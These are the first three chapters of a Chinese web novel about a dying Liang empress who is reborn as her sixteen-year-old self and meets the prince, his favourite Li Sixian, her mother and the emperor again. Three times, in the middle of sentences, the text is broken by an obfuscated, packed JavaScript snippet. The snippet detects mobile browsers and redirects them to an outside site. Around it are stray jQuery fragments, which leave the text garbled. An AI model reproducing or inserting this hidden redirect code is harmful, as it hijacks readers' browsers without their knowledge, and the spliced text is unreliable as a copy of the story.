《回到宿敌少年时》 1. 第 1 章 大梁女帝病危。 大雪一连下了七日。 天地间一片缟素,尽是刺目的白。 漫天大雪中,北阙的铁骑奔袭千里,漆黑的洪流以摧拉枯朽之势踏破大梁皇城,无数战马的铁蹄扣响白茫茫的大地,战火在雪夜里轰然燃起。 守卫皇城的禁军们殊死守城,年轻的禁军首领红袍银甲,全身已被鲜血染红,仍旧悍不畏死,奋勇杀敌,使得,黑甲军的攻势终于迟滞了一瞬。 号角声响起。 黑潮突然从中分开,一个穿着金色甲胄的将领疾驰而来,红袍在风雪中猎猎飞扬。 他如一道金色流光,倏然而至。 守城的禁军单手攀着攻城的云梯,三两下飞身上墙,如一只金色的大鸟高高跃起,手中金色长枪朝下猛地一挥,禁军首领横在胸前的长枪断成两截,下一瞬,那张染满热血的年轻头颅高高地飞了起来。 头颅落在滚下城墙那一刻,大梁皇宫的丧钟被敲响。 大梁三百二十年以来唯一的一位女帝,驾崩了。 一蓬蓬的血溅在雪上,哭声、尖叫声、求饶声在皇宫各处响起,穿着金色甲胄的将领长枪一扫,便血雨如泼墨,他身上的披风,更红了。 丧钟敲到第十二声的时候,颜舜华感觉自己轻飘飘地飞了起来。 身体从未有过的轻盈让她有些沉醉,她在空中转了一圈,低头看去。 明黄色的床帐里,一个女子正静静地躺在里面,四周一片悲切的哀哭声。 她穿着一身白衣,面容苍白如雪,脸上没有一丝血色,鬓角的一缕缕白发白的刺眼,像枯枝上凝固的霜。 单薄,憔悴。 她才二十九岁,容貌还算年轻,只是白发已经这样多了,真是我寄人间雪满头。 宫殿里跪了乌压压的一片人,两个小太监脸上挂着泪,端着毒酒走进殿里。 殿里的人饮下鸩酒,没过一会就倒了一地。 殿外火光冲天,一群黑甲军簇拥着一个身穿金色甲胄的人走了进来,身后的红袍比殿外的冲天火光还要艳炽几分,右手持着一杆黑色的长枪,上面雕刻着腾飞的青龙。 红袍金甲青龙枪,是北阙那个能征善战、鲜有败绩的帝王。 一身刀光意气,只在她这里吃过几场败仗,这才阻了他一往无前的步伐。 可惜天不假年,时不遂愿,颜舜华病体沉疴,在龙榻上昏睡一年半。 一年半,大梁群龙无首,陷入内乱,北阙扭转颓势,一举攻入大梁。 今日,便是大梁的亡国之日了。 还是不甘啊,假如上天再给她十年,也许如今的局面会大不一样。 颜舜华发出一声叹息,看向那穿着金甲的北阙帝王。 他脸上带着金色面甲,颜舜华看不到他的真容,此刻,他已经走到龙床前,微微低下头颅,看向这位已经驾崩的大梁女帝。 跟在他身后的一位将军说道:“想不到这位名震天下的大梁女帝竟然如此瘦弱单薄,看着就是普通人的模样,也没有三头六臂啊。” 另一人说道:“呵,不过是肉|体凡胎,又比常人多些算计罢了!” 颜舜华又往上飘了飘,一道冷光在她面前一闪,正好擦过她半透明的衣角,耳边听到利器刺入血肉的钝响。 颜舜华转头一看,她的尸身居然被这位帝王挑在了那杆青龙枪上。 他走出大殿,高高地举起青龙枪,她挂在那杆漆黑的青龙枪上,一截染血的枪尖透出她的脊背,雪白的衣角垂下,微微晃荡,好似一片薄而轻的白色柳絮。 沉而冷的声音从面甲下传来:“大梁女帝已死,天佑北阙!” “天佑北阙!” 黑甲军齐齐跪下,山呼万岁。 颜舜华看着自己的尸身被那杆青龙枪钉在城墙上,她轻轻飞上去,又轻轻飞下来,看向落在城墙下的一个头颅。 那头颅覆满寒霜,被雪埋了一半,一双眼仍然怒睁着,长长的睫毛裹满了霜。 禁军首领许鹤鸣,这个护了她半辈子的男人,终究和许多护着她的那些人一样,落得一个不得善终的下场。 颜舜华伸出手,想合上他的眼,手掌却穿过他的头颅。 分明没有了实体,心中却仍泛起一阵绞痛。 黑甲军开始屠城了,无论平民百姓还是世家王侯,在黑甲军的刀剑面前都脆得像一块薄纸。 一阵风卷着雪花吹来,她又高高地飘起来了。 颜舜华再停下来时,天地一片暗沉,阴霾的光线下,地上一片血海,尸体堆积如山。 北阙的黑甲军正在坑杀大梁降军,整整二十万大梁将士的血,将河流染成一片赤红。 她的灵魂飘在血色的长河里。 越飘越远,越飘越远。 满眼刺目的红...... 红色在眼前抖动着,有一阵风,从不远处吹来。 眼前的红色又在风中抖动起来,耳边传来依稀人声,时远时近,时大时小。 脑袋沉沉的,颜舜华忍不住动了一下。 “公主醒了!” 这声音脆生生的,充满了惊喜,像只歌喉美妙的黄鹂鸟,像极了她登基第二年为她试毒而死的侍女阿佩。 颜舜华正愣着,那熟悉的声音又低落下来,忧心忡忡地说道:“皇上要把公主送去北狄和亲,太子也不帮公主说说话?” 太子? 梁玄不是被她杀了么。 北狄? 北狄不是早就被北阙灭了么? 至于和亲,这是她刚十七岁那年的事情了,那时北阙开始壮大,北狄和大梁准备联手对抗北阙,于是把她嫁给了北狄的太子做侧妃。 她刚嫁到北狄,盖头还未来得及掀开,北狄的二皇子联合梁玄发动宫变,北狄太子在定坤门被梁玄一箭射死。 此后,梁玄又把她带回大梁,将她秘密软禁,胁迫她委身于他。 昏昏沉一团混乱,颜舜华使劲眨了眨眼睛,大红色的帐子随着风慢慢飘动着,侍女阿佩穿着鹅黄色的衫子站在窗前,容貌俏丽,身姿窈窕。 颜舜华脑中闪过她误食毒药后七窍流血的模样,心里又跟着一痛,情不自禁地伸出手,去摸阿佩的脸。 “阿佩......” 她的手伸到一半,立刻就被阿佩的手握住了,阿佩拿着温水浸湿的丝帕擦拭她的手,一脸心疼地说道:“公主手心里全是冷汗,这回病的可不轻,娘娘不知道有多心疼呢。” 颜舜华恍惚一瞬,低声:“娘亲......” 颜舜华的娘亲是被大梁景帝后带进宫里的玉妃。 颜舜华年幼时发了一场高烧,很多事情都记不清楚,她不知道自己的亲生父亲是谁,颜溪玉也从来不提起她的亲生父亲。 关于母亲进宫的事,颜舜华只能在后来人的口中了解。 据说在颜舜华五岁那年,景帝微服私访时曾在她父亲的宅子里躲雨。 本是美事一桩,坏就坏在颜舜华的娘亲仙姿玉色,是世间少有的美人。景帝见色起意,要颜舜华的娘亲服侍,温存数次后景帝仍旧不餍足,干脆将人带到宫里封了妃,顺道还带上了颜舜华这么一个拖油瓶。 颜舜华随母姓,因为颜溪玉受宠,她也随其他皇子喊景帝一声父皇,也就成了一个不伦不类的公主。 * 颜舜华先天不足,幼年时又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020645|178502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被人推进结冰的湖里,从此落下了病根,从小到大,为她诊脉的医师都说她是早夭之命,活不过十六岁。 恍惚间,一旁的阿佩又拧了帕子给她擦汗,擦着擦着又掉下泪,哽咽着说道:“从前太子对公主也是极好的,思弦小姐的侍女调换公主的绢花,太子殿下就命人打断了她的手。” “护国公家的思弦小姐从前也是公主的闺中密友,慕将军的二公子和三小姐也同公主交好,还有林丞相家公子和小姐.....” “也不知太子为什么突然提议让公主和亲,其他人也不帮公主说说话。” 轻飘飘的感觉消失了,一股昏沉难受的感觉瞬间席卷而来,颜舜华忍不住呻|吟了一声,下意识说道:“毕竟我不是真正的皇室血脉。” 一开口说话,颜舜华才发现身体沉重的很。 这种沉重的感觉伴随了她很多年,她再熟悉不过。 面前的阿佩容颜娇俏,脸颊饱满如苹果,两靥带着丰沛的血色。 颜舜华狠狠咬了一下嘴唇,一阵刺痛袭来,驱走了心头的千万般情绪。 她看着阿佩,环顾着屋子,努力驱散脑中那股眩晕感,撑着一口气问道:“现在是何年何月?” 阿佩愣了愣,说道:“景和十三年六月十五日,公主问这个做什么?” 颜舜华又是一阵恍惚,景和十三年,这一年,她刚刚十六岁,没想到竟然一朝回到了十三年前。 是庄周梦蝶么? 还是她真的回到了十三年前? 颜舜华闭上眼,黑暗再次席卷而来,灵魂似乎又在血色的洪流里浮浮沉沉。 再一次睁开眼时,天已经黑了,室内只留着一盏小灯。 光线幽暗,床边坐着一个人,穿着一身黑色织金广袖长袍,绣着金色蟒纹的广袖压着一片红纱。 他身姿十分颀长,脊背也挺直如松,手里拿着一把张开的折扇,正轻轻地给她扇风。 六月燥热,微风徐来,朦胧烛光下,那张脸俊美华贵,雍容端丽,实在是世间少有的美男子。 颜舜华对上那双深邃狭长的丹凤眼,再一次看见这张脸,只想皱眉头。 就像阿佩说的那样,太子梁玄以前确实对她呵护备至。颜舜华少吃一口饭少喝一口水他都要担心,若是生病,就更了不得了,他能把照玉宫的门槛踏破。 颜舜华曾踩着他的肩膀去摘树上的樱桃,也曾在病痛是趴在他怀里痛哭不止。 幼年的她初入深宫,时常惴惴不安,也曾将他当作依靠,十分依赖他。到了慕少艾的年纪,这些情愫又转变成男女之情。 颜舜华曾经真的是极其、十分、特别、非常非常、非常非常的喜欢他。 在一年前,梁玄被景帝斥责时,颜舜华写了一封透露了少女心事的信笺,装在自己亲手绣好的香囊里托人送去。 自此之后,他的态度忽然有了转变,对她忽远忽近,忽冷忽热。随后又开始与李思弦暧昧非常,实在令人捉摸不透。 颜舜华当年以为梁玄婉拒了他的心意,刻意与她疏远,从此之后她也心灰意冷,不再有丝毫逾越,两人渐行渐远。 她在皇宫里的那些儿时玩伴都以太子为中心,梁玄对她疏远,其他人自然也对她冷淡。 年少的颜舜华因为这些人的孤立偷偷哭过好几场,觉得天都要塌了。 不过,那一切都是过往了。 往事暗沉不可追,来日之路却也未必光明灿烂。 苍天给她智谋,给她野心,却又给她羸弱之躯。 病逝时,除了是非成败转头空,还有一句—— 悠悠苍天,何薄于我。 重活一世,到底又该怎么活? 2. 第 2 章 梁玄继续用折扇给颜舜华扇着微风。 躺在水粉色锦被里的少女瞳仁乌黑,脸色苍白,一脸倦怠冷漠。 梁玄深深地看了她一会,说道:“屋中闷热,怎么不用冰鉴?” 颜舜华很不想理他,声音淡淡地说道:“困,想睡觉。” 她的声音如银铃,又脆又冷,同她的神色一样,饱含着冷漠与倦怠。 说完,颜舜华翻了个身,背对着梁玄,又抬手拉高被子遮住了自己的半张脸。她脑后柔软漆黑的发丝铺在粉色缎面软枕上,在昏黄的烛光下泛着动人的幽光。 这长达一年半的冷待,彼此都疏远了不少。 梁玄低声说道:“舜华生我的气?” 他的声音低沉缱绻,听着真是十足十的温柔。 颜舜华被脸埋在丝被里,狠狠地翻了个白眼。 也许是她天生傲慢轻狂,被她打败过的、被她踩在脚下供他向上攀爬的男人,她从来是看不上眼的。 屋中的寂静持续了一会,梁玄又低声唤她:“舜华?” 颜舜华把丝被往外推了推,转过脸,看着梁玄,说道:“皇兄这忽然忽热的态度真叫人奇怪,先是和父皇提议让我去北狄和亲,现在又问我生不生气。” 梁玄的声音又压低了,那双狭长的丹凤眼深深地凝视着她,“你不愿嫁给北狄太子?” 颜舜华苍白冷漠,纤长细密的睫毛扇动着,上上下下扫视他一眼,然后梁玄就看见她微微蹙起了眉,一双乌黑的眸子带着一丝厌烦,声音也冷冷的:“听说北狄太子高大英武,仪表堂堂,嫁过去也没什么不好。” 梁玄握着折扇的手猛地一紧,神色一瞬间沉了下来,眼里迅速蒙上一丝阴翳。 颜舜华这会却笑眯眯的:“多谢皇兄为我寻的这份好婚事,我日渐病重,太医们都说我是早夭之命,是该有份婚事来冲冲喜了。” 梁玄眸色幽幽,脸色更不好看了。 颜舜华笑了一声,声音柔柔的:“夜深了,皇兄不宜久留在此,恕舜华病痛之身,无法起身远送。” 这已经在赶客了,梁玄脸上的神色也淡了下来,声音也不再缱绻温柔,冷冷说道:“舜华,好自为之。” 他转身离去。 颜舜华坐在床上,冷笑连连。 梁玄确实是一位雄才大略的太子,年少有谋,博闻强记,容色昳丽,华贵无双,是令景帝、令大梁都很满意的储君。 但在情之一字上,他拖泥带水,拉拉扯扯,遮遮掩掩,反复试探。 他死前说什么早已心悦于她,只要她表露一丝情意,哪怕火海刀山也敢为她去闯。 说的倒深情,一边心悦于她,一边与李思弦如胶似漆,如此三心二意轻浮不定之人,死前却在她这做什么深情腔调。 什么东西,也配叫她好自为之? 颜舜华憋了一肚子气,想到自己十二岁到十七岁都喜欢这么一个玩意,不禁发出一声干呕。 候在不远处的阿佩听见这一声干呕,急忙飞奔过来,大呼小叫的:“不好啦夏嬷嬷,公主的身子又不好了!” 话音刚落,一个穿着紫色宫装的嬷嬷就带着两个宫女小跑过来,拿痰盂的那痰盂,拿帕子的拿帕子,呼啦啦地将颜舜华围住了。 颜舜华一旦呕吐起来,是吃什么吐什么,连药也会吐出来,往往三五天吃不下东西。宫人们都绷紧了,生怕她就此一命呜呼。 颜舜华没吃什么东西,也没吐出什么,宫人们发现是虚惊一场,纷纷松了口气。 夏嬷嬷拍着胸口给自己顺气,念念叨叨:“公主这几日水米不进,若是再犯了呕吐之症,这单薄的身子骨可怎么熬过去。” 颜舜华倚着身后的软垫,笑道:“我没什么事,你们别慌里慌张的,屋子有点闷,把窗子打开吧。” 宫女们陆续退下,只留阿佩和夏嬷嬷在这,阿佩撑起窗子,夏嬷嬷拿了件丁香色的衫子给颜舜华披上。 颜舜华拢了拢头发,顿了顿,才问道:“我娘现在如何了?” 颜舜华的娘亲叫颜溪玉,颜舜华被她带进宫里后就随了母姓。 这个时候,她因为颜舜华和亲之事与景帝起了争执,正被景帝幽禁在水云榭,无诏不得入。 夏嬷嬷说道:“水云榭守卫森严,里面的人出不来,外面的人也进不去,奴婢们也只能尽力打点,不在吃喝上委屈了娘娘。” 颜舜华长长地叹息一声,倒在身后的软垫上。 娘亲还活着,没有被景帝突然赐死。 颜溪玉的死,对颜舜华而言是一个无解的伤痛和谜题,她的离去带走了颜舜华的最后一点柔软心肠,也是她对景帝痛下杀手的原因。 一将功成万骨枯,上一世的帝王路实在不好走,填了很多人命才走上去。 她走上那个位置时,那一刻,她觉得她大获全胜。 直到她看着大梁在她眼前破灭,看着北阙的黑甲军屠城,看着二十万大梁将士被帝渊坑杀,她才发觉自己的这一生其实一败涂地。 护她的,为她而死。 她想护住的,也因她而死。 人们都说,这是天命。 若不然,为何大梁将星频频陨落?为何颜舜华在位的那十年,大梁竟找不出一个可以与北阙渊帝抗衡的武将。 没有能征善战的武将,繁华的大梁只是一个华美的空中楼阁,一旦她倒下,大梁说塌就塌了。 想起帝渊那身金甲上闪耀的流光,还有那杆穿透她身体的青龙枪,颜舜华的腹部忽然传来一阵隐隐的绞痛。 她心中燃起熊熊妒火,烧的她眼睛微微发红。 不求老天给她万夫不当之勇,只需给她一个寻常人的康健身子,只要时间足够多,武将文臣都可以慢慢培养。 难道这天命当真不在她身上,难道北阙那位才是真正的天命之人? 颜舜华捂着腹部,吸了几口气。 阿佩和夏嬷嬷又被吓了一跳,一阵鸡飞狗跳之后,颜舜华皱着眉头喝下汤药,含了一块蜜饯之后,又叫阿佩多点了几盏灯,倚着软垫看了一会兵书,这才沉沉睡下。 翌日醒来,颜舜华的精神又好些了,已经有力气下床。她坐在梳妆台前,看着铜镜里年轻了十六岁的自己时,不免有些发怔。 她娘长得美,颜舜华是她的女儿,自然也生的好看,可惜病容残损,哪怕是在女子最鲜妍明媚的少女时代,她也是没有什么颜色的。 既没有少女的如花笑靥,也没有少女的动人晕红。 她身上缺少生命的华彩。 瞳仁极黑,肤色雪白,嘴唇也没什么血色,身躯单薄的像一片纸,和娘亲的容颜有五分相似,剩下的五分不知道像了谁。 阿佩小心地给她梳着头发,赞叹道:“公主和娘娘一样,生的仙姿玉色,这头发也像缎子似的又轻又软。” 颜舜华看着镜中的自己,心道还是和娘亲差了不少的,娘亲有绝世美人的颜色和体态,而她,只是一根单薄苍白的豆芽菜。 用完早膳,颜舜华的精神又恢复了不少,趁着太阳还不那么毒辣,颜舜华带着阿佩和夏嬷嬷去了御花园。 路过一丛绣球时,前面百米远的小径传来一阵欢声笑语, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020646|178502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然走过来一行人。 太子梁玄穿着一身华贵的紫色锦袍,头戴青玉蛟龙冠,正神色温柔地同他身边的一个年轻女郎说笑。 那是一个窈窕美丽的女郎,身穿粉色广袖罩纱留仙裙,头上梳着百合髻,鬓边簪着一朵娇艳欲滴的粉色玫瑰。 此女端庄美丽,灿若玫瑰,且纤秾合度,举止优雅。 她身旁有个穿湖水绿衣裙的侍女,笑盈盈地说道:“太子殿下给小姐簪的这朵玫瑰真好看,小姐更是人比花娇。” 那女子抚着玫瑰,脸颊绯红,神色羞涩,似乎不敢再看梁玄含着笑意的眸子,匆忙别开眼,一脸不胜娇羞的模样。 这是定国公李护之女——李思弦。 上一世颜溪玉的死与护国公脱不了干系,颜舜华杀了定国公一家,还用袖箭射瞎了李思弦一只眼,过了几日后,李思弦便因伤口溃烂死于高热。 她身边那个穿湖水的绿衣裙的侍女似乎叫司琴,因为对颜舜华出言不逊,被阿佩用衣袖绞死后扔进了乱葬坑里。 颜舜华很难形容这种感觉,昔日死于她手的人一个个站在她面前说说笑笑,不是死后发白发青的脸。他们血气旺盛、元气十足、生机勃勃的样子实在令人厌烦。 颜舜华那股子戾气慢慢在心里升腾。 这些人的笑容这么灿烂,身体这么康健,这么肆无忌惮地享受阳光雨露。 真是该死。 梁玄和李思弦也看见了颜舜华。 满园姹紫嫣红,站在绣球花丛旁的少女穿却素净极了。 大梁皇宫喜奢华,她却只穿着一件半新不旧的浅丁香色广袖长裙,腰身被同颜色的腰带束着,勾勒出不堪一握的细腰。 她不施粉黛,不戴钗环,梳着的双螺髻只用浅色丁香发带做点缀,在她脸颊边软软地垂下来,那张雪白雪白的脸被阳光一照,几乎透明了似的。 风一吹,衣袖、裙摆、发带还有垂在她脸颊边的发丝全都飘飞起来,她在风中轻晃着,好像马上也要被风吹起来似的。 梁玄目光一凝,唇边温柔笑意收敛,看到颜舜华时,神色已经沉了下来。 他狭长的眼眸看向少女清凌凌的脸,神色不悦:“舜华,今日风大,你不该出来走动。” 颜舜华拨开吹到脸上的发带,不咸不淡地说道:“多谢皇兄关心,只是病久了,难免向往这满园春色。” 她随手摘了一捧蓝紫色的绣球花,在手里转了一下,看向李思弦,温温柔柔地说道:“难得看见思弦姐姐,乍一看都认不出来了,还以为见到下凡的花仙,吓了我一跳”。 李思弦羞赧地笑了:“整个皇宫里就属公主嘴甜。” 梁玄也微微笑着,目光浅浅掠过颜舜华的眉眼,忽然从花纹繁复的衣袖下伸出修长的手,在颜舜华面前握住了李思弦的纤纤玉手。 李思弦愣了愣,随后身躯轻颤,脸霎时间红透。 她轻轻咬着红唇,娇羞又欣喜地看了梁玄一眼,又一脸羞涩地别开头,红着脸看向颜舜华,柔声说道:“舜华,我知你一生病就胃口不好,我这次来宫里看看你,特意做了些你喜欢吃的点心。” 她身边的侍女司琴把精致的枣木食盒递过来,阿佩接过食盒,颜舜华笑道:“思弦,多谢你了,我一定多吃几块。” 梁玄凝视着她。 她的声音甜甜的,笑容甜甜的,浑不在意梁玄与李思弦牵在一起的手。 明明不久之前,她看见他与李思弦亲近时,目光会有一瞬间的黯淡,为何如今却丝毫不在乎了呢? 梁玄微垂着眼,掩住眸中的晦涩阴鸷。 3. 第 3 章 回了照玉宫,阿佩打开食盒,看着里头装着的点心。 一盘炸奶油果子,一碟牡丹卷,一碟绿豆糕,一碟蟹粉酥。 阿佩的脸色已经有点不好了,看着那些点心愤愤说道:“油腻腻的,公主脾胃弱,怎能吃这些难克化的东西!” 夏嬷嬷说道:“拿去给下人分了吧,都不是公主喜欢吃的。” 阿佩又在一旁抱怨:“就烦这种皮笑肉不笑的人,她送了东西,旁人看来咱们倒是承了她的情,这不是存心恶心人么。” “还有那次送绢花,她那侍女司琴偏偏挑几朵破的送过来,娘娘宠冠六宫,公主什么好东西没见过,缺她那两朵破绢花?” 颜溪玉虽然宠冠六宫,但也有不受宠的时候,作为她的女儿,颜舜华难免受到冷待。 宫里是个拜高踩低的地方,颜溪玉失宠那次,李思弦正巧带了一批精巧的绢花进宫,各宫的妃嫔公主们都送了几朵,唯独轮到颜舜华这,一朵粉芍药是破的,花瓣抽了丝,一朵西府海棠是脏的,一片花瓣上有水痕。 若是不细看,这瑕疵也发现不了,但是两朵都有瑕疵,颜舜华就不太高兴了。 当梁玄来照玉宫看她时,颜舜华就把这两朵绢花戴在了头上。 颜舜华甚少簪花,梁玄颇感稀奇,不禁多看了几眼,见两朵绢花各有破损,顿时勃然大怒。 司琴受了重罚,左手的好几根指骨被打断,颜舜华顺了气,早就把这事抛之脑后,倒是阿佩念念不忘,每次说起来都要咬牙切齿。 说起往事,阿佩冷笑:“那丫鬟司琴拜高踩低,我就不信了,送进宫的东西能不仔细挑拣,说不定她偷拿了好的绢花,专门把坏的送给公主。” 夏嬷嬷笑道:“那丫头说是一时疏忽,思弦小姐替她说情,少不得要给护国公面子,公主还能真和她较真不成。” 颜舜华坐在花窗旁纳凉,神色淡淡地看着一旁小桌上刚摘的绣球,说道:“这蓝紫绣球真漂亮,母妃最喜欢了。” 颜舜华喝了两口水,吃了一块山药枣泥糕,最后便从小榻上起身,抱着一大簇绣球花去了水云榭。 比起御花园的花团锦簇,水云榭实在素净极了,这里种满了竹子,像绿纱似的遮在朱红色的宫墙上面。 颜舜华站在宫墙旁边,看着那一丛丛的竹子发呆。 她早慧,有着过目不忘的能力,颜溪玉说她三岁就会识文断字了。 五岁那年,颜舜华高烧不退,连续数日都是昏迷状态。醒来之后人就在皇宫里了,她也变得呆呆的,连话都不会说了,人们都以为她被烧傻了脑袋。 颜溪玉抱着她痛哭失声,“舜华,娘好想回家啊。” 后来的许多年,颜溪玉都被困在这深宫里,再也没有出去过,也没有回到她的家,甚至就连颜舜华也不知道娘亲的家到底在哪里。 颜舜华抬手揉揉眼睛,不远处忽然传来一声嘹亮的的通传。 “皇上驾到。” 门口的侍卫和站在墙边的颜舜华全都齐刷刷地跪了一地。 景帝穿着一身天青色常服,身姿颀长,不苟言笑,给人一种威严甚重的感觉。 他比颜舜华的母亲小两岁,今年正好三十四,因为养尊处优保养得宜,看上去也就二十八九的年纪。 大梁皇族的容貌都生的华贵昳丽,景帝也是如此,只是从景帝到太子,性情都有些阴鸷,总给人一种阴雨连绵的潮湿感觉。 景帝从轿辇上走下来,看到跪在墙边的颜舜华,开口说道:“你怎么来了?” 颜舜华跪在地上,捧着从御花园摘的绣球花,咳了两声后说道:“父皇恕罪,儿臣刚从御花园回来,见到母妃喜欢的绣球花开的正好,心中牵挂母妃,不知不觉就走到了这儿。” 景帝看着她怀里的蓝紫相间的绣球花,沉吟片刻后微微颔首:“既然来了,就随朕一同去看看你母妃吧。” “多谢父皇。” 颜舜华从地上站起来,跟着景帝走进了水云榭。水云榭有一面很大的活水湖泊,水面平静时水天一色,故此得名。 穿过一丛丛的绿竹,景色骤然开阔,只见湖水平静无波,宛如明镜。湖心处有一小亭,垂着湖水绿轻纱帷幔,透过纱幔,隐约可见一道绰约人影立在其中。 景帝身旁的宫人正要通传,景帝抬起手,宫人便噤了声。 颜舜华跟在景帝身后,沿着回廊走到湖心亭时忽然起了风,一角湖水绿轻纱被风吹起。 坐在亭中的女子正好看过来,露出一张仙姿玉色的脸。 因为她容颜太盛,人们看见她时,往往会怔愣一瞬。景帝的脚步略微顿了顿,过了一会,又忽然加快了些,随即广袖一挥,猛地掀开纱幔,大步走入亭中。 颜舜华抱着绣球花,站在纱幔外面。 隔着纱幔,颜舜华看到她母妃还未来得及起身行礼,便被景帝拥入怀中。 颜舜华和那些宫人们都默默退远了些,微风吹来几声絮絮低语,虽然听不真切,但语调低沉温柔,足以见证景帝对她母妃的爱重。 颜舜华低头看着怀里的蓝紫绣球。 刚采撷的花朵正娇艳着,美的令人炫目。纵使如此,却依旧比不过已经三十六岁的颜溪玉。 从她三岁记事起,颜溪玉的样子几乎没怎么变,绝世的容颜一如往昔,景帝的宠爱也如她的容颜一样长盛不衰。 也因此,景帝爱屋及乌,对颜舜华也算不错。但皇家血脉不融混淆,所以颜舜华随了母亲的姓氏,虽然有公主之名,但她这位公主,宫里人和朝臣们都是不认的,但凡颜溪玉失势,颜舜华的处境立刻就会变得艰难。 她的思绪正在各种回忆里乱飘,亭中的纱幔忽然被一只纤细雪白的手掌掀开,颜溪玉身着一身蓝紫宫装,笑着走过来。 温柔的声音传来,一双柔软的手捧住颜舜华的脸,叹息道:“病了这些日子,又瘦了这么多,瞧你的脸,还没有雪团大。” 话音刚落,一只雪白的猫闲庭信步地走过来,围着颜舜华转圈圈,时不时蹭一下颜舜华的绣鞋。 雪团的身姿愈发肥美,白蓬蓬一大团。颜舜华抿了抿唇,看着母亲近在咫尺的脸,好半晌说不出话来。 过了一会,颜溪玉惊慌的声音响起:“我的舜华,你怎么哭了?” 阿佩说道:“公主一直惦记娘娘呢。” 颜溪玉心疼女儿,连忙一把搂住,拿着帕子给颜舜华擦眼泪。 颜舜华的眼泪却是越擦越多,看得颜溪玉也心惊。 她这个女儿,玲珑聪慧冰雪聪明,性格是极其要强的,而且争强好胜,总想压别人一头,若是男儿,必是逞凶斗狠的一把好手,轻易是不肯落泪的。 她十岁那年装睡,听到太医说她是早夭之命,说她活不过十六岁,性格才变得敏感起来。 颜溪玉悉心照料,即便是后来生了皇子,也不曾冷落了颜舜华。 景帝对颜舜华也算不错,又有太子梁玄纵着宠着,颜舜华身上那股骄纵劲儿更是变本加厉。后来梁玄与她疏远,她也不过掉了一两滴眼泪,何曾这样哭过? 颜溪玉心里担忧,女儿这样哭,谁知会不会触怒景帝,让景帝觉得颜舜华对幽禁一事感到不满。 身后传来景帝的脚步声,颜溪玉心里一紧,还未开口,景帝便说道:“甚少见到舜华如此伤心,想必是地想极了你。” 颜溪玉柔声说道:“小女儿家,性子娇,眼泪难免多了些。” 颜舜华止住眼泪,低着脑袋,几乎埋在绣球花里,景帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020647|178502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了一会儿,说道:“倒是朕的不好了。” 颜溪玉还未说什么,颜舜华擦了擦眼泪,哽咽着说道:“都是儿臣不好,近来多病,想起太医说儿臣是早夭之命,难免惶恐伤感,这才失态。” 说起颜舜华的病,一时间所有人都沉默下来。 颜舜华这娘胎里带出来的天生弱症,几乎是药石无医,即使精贵养着,也是三灾六病。 单薄瘦弱的少女,站在微风里都显得摇摇欲坠的,一张巴掌大的小脸雪一样苍白,眼瞳和睫毛黑漆漆的,嘴唇也没什么血色,看得人揪心。 颜溪玉看着女儿的病容,一时间悲从中来,不可断绝。 颜舜华看她这凄惶模样模样,笑眯眯地说道:“母妃不必忧心,儿臣前几次病重,不都被雾隐山的神医救回来了么。” 雾隐山的浮屠古寺里有位巫医,很少下山,说是下了山,医术就不灵了,哪怕是皇子皇女,想找他治病也得去艰险难行的雾隐山找他。 晚上,颜舜华在水云榭用了晚膳。 颜溪玉知道颜舜华脾胃不好,特意让人炖了鸽子汤,汤里的油全被舀了出去,澄澈如清水一般,怕颜舜华觉得单调,又放进去娃娃菜和虾肉丸。 用膳时,景帝面色和缓,对颜溪玉温存体贴,给她夹了好几次菜,看得颜舜华一头雾水,不明白母妃为何被幽禁。 用膳后,景帝留宿水云榭,颜舜华本该回照玉宫,但颜溪玉见她脸色苍白摇摇欲坠,便让颜舜华在水云榭的偏殿歇着,景帝也恩准了。 颜舜华在偏殿睡了,半夜时,又做了噩梦。 乌压压的黑潮中,身披金甲的帝王如摩西分海般疾驰而来,沉黑的青龙枪被他握在手中,金色面甲后露出一双沉而冷的眼。他将青龙枪猛地向前一掷,那枪便如利箭般射出,将颜舜华牢牢钉在漆黑城墙上。 颜舜华胸口一痛,蓦地惊醒。 醒来时,浑身大汗淋漓,黛青色的帐子在眼前飘来飘去,什么也看不清了,身体更是忽冷忽热,一会如冰刺,一会如火煎。 意识朦胧间,她看到许多人在眼前走来走去,在视野里拖拽出漆黑飘摇的影。 隐约有哭声在耳边响起,又隐约听到许多慌乱的脚步声。不一会,苦涩的药汁在口中弥漫,来不及咽下便被她呕出。 恍惚间,颜舜华想起来了。 十六岁这年,她生了一场前所未有的大病,昏迷了半月之久。 太医们束手无策,都说药石无医。颜溪玉哭得昏死过去,景帝便派了人,将昏迷不醒的颜舜华送到了雾隐山的浮屠古寺。 意识渐渐远去. 人生天地之间,忽如远行客,也许这场重生梦,马上就要醒了吧....... 